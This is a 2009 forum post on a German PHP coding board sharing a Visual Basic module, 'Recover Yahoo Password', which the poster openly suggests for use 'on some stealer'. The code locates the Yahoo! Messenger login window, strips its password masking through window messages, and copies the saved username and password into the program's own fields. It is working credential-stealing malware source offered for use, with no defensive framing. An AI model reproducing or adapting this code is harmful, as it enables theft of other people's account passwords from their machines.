PHP Forum - Coding Board
Juli 15, 2018, 11:58:46 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: [vb] Recover Yahoo Password  (Gelesen 88 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
BUNNN
Newbie
*
Beiträge: 3


Profil anzeigen E-Mail
« am: Juli 09, 2009, 07:02:36 »

Maybe someone will use this on some stealer ...

Code:

'---------------------------------------------------------------------------------------
' Module      : mYPS
' Date Time   : 11/04/2009 9:21
' Author      : BUNNN
' Mail        : best_bunnn@yahoo.com
' WebPage     : http://hackhound.org
' Purpose     : Recover Yahoo pass , tested with 8.x and 9.x
' Usage       : At your own risk , add one forum(Forum1)
'               2 TextBox(txtID and txtPass) and at
'               form_load : call YahooFucker
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'---------------------------------------------------------------------------------------

'API declarations
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function Sendmessagebynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Private Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
'Private Constants
Private Const EM_SETPASSWORDCHAR = &HCC
Private Const EM_GETPASSWORDCHAR = &HD2
Private Const GW_HWNDNEXT = 2
Public Function YahooFucker()
  Dim Hndl, nh As Long
  Dim txt As String
  Hndl = FindWindow(vbNullString, "Yahoo! Messenger") ' find "Yahoo! Messenger" window
  If Hndl <> 0 Then ' if &quot;Yahoo! Messenger&quot; window exist then ..
  nh = FindWindowEx(Hndl, 0, vbNullString, vbNullString) ' find &quot;Yahoo! Messenger&quot; window extensio
  If GetText(nh) = &quot;YLoginWnd&quot; Then
  Hndl = FindWindowEx(nh, 0, vbNullString, vbNullString)
  Hndl = GetWindow&(Hndl, GW_HWNDNEXT)
  Hndl = GetWindow&(Hndl, GW_HWNDNEXT)
  Form1.txtID = GetText(Hndl)
  Hndl = GetWindow&(Hndl, GW_HWNDNEXT)
  Hndl = GetWindow&(Hndl, GW_HWNDNEXT)
  txt = GetText(Hndl)
  txt = Trim(Replace(txt, Chr(0), &quot;&quot;))
  If txt <> &quot;&quot; And Form1.txtPass <> txt Then Form1.txtPass = txt
  End If
End If
End Function
Public Function GetText(hwnd) As String
  Dim nRet, GetTrim, GetString
  Dim TrimSPACE As String
  nRet = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0&, 0&) ' send message to yahoo window -  EM_GETPASSWORDCHAR , for get characters
  If nRet <> 0 Then
  PostMessage hwnd, EM_SETPASSWORDCHAR, 0&, 0& ' post message EM_SETPASSWORDCHAR , for setting password characters
  End If
  GetTrim = Sendmessagebynum(hwnd, 14, 0&, 0&) ' send message by number to yahoo window
  TrimSPACE$ = Space$(GetTrim)
  GetString = SendMessageByString(hwnd, 13, GetTrim + 1, TrimSPACE$) ' send message by string to yahoo window
  If nRet <> 0 Then
  PostMessage hwnd, EM_SETPASSWORDCHAR, Asc(&quot;*&quot;), 0& ' post message EM_SETPASSWORDCHAR , set password characters for get text under &quot;*&quot;
  End If
  GetText = TrimSPACE$ ' result
End Function

 


mYPS.bas
Gespeichert
Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS